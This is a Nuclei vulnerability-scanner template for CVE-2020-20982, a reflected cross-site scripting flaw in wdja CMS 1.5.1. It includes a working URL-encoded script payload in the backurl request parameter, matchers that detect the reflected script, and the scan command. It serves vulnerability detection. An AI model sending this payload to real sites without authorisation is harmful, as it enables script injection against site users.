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shadoweb wdja v1.5.1 - Cross-Site Scripting

ID: CVE-2020-20982

Severity: critical

Author: pikpikcu,ritikchaddha

Tags: cve2020,cve,xss,wdja,shadoweb

shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.

id: CVE-2020-20982
info:
name: shadoweb wdja v1.5.1 - Cross-Site Scripting
author: pikpikcu,ritikchaddha
severity: critical
description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/shadoweb/wdja/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-20982
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2020-20982
cwe-id: CWE-79
epss-score: 0.02028
epss-percentile: 0.8889
cpe: cpe:2.3:a:wdja:wdja_cms:1.5.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wdja
product: wdja_cms
tags: cve2020,cve,xss,wdja,shadoweb
http:
- method: GET
path:
- "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "location.href='</script><script>alert(document.domain)</script>"
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4a0a004730450220217f1ab6581d8fea0cf1e8f1c603e4556dac96c302f0c124fa49fc11e4b45be8022100d6ee942fd4fd093be1ba74ee4bf80b668b1f5c9e67e093f9a81fa609115f1162:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-20982.yaml"

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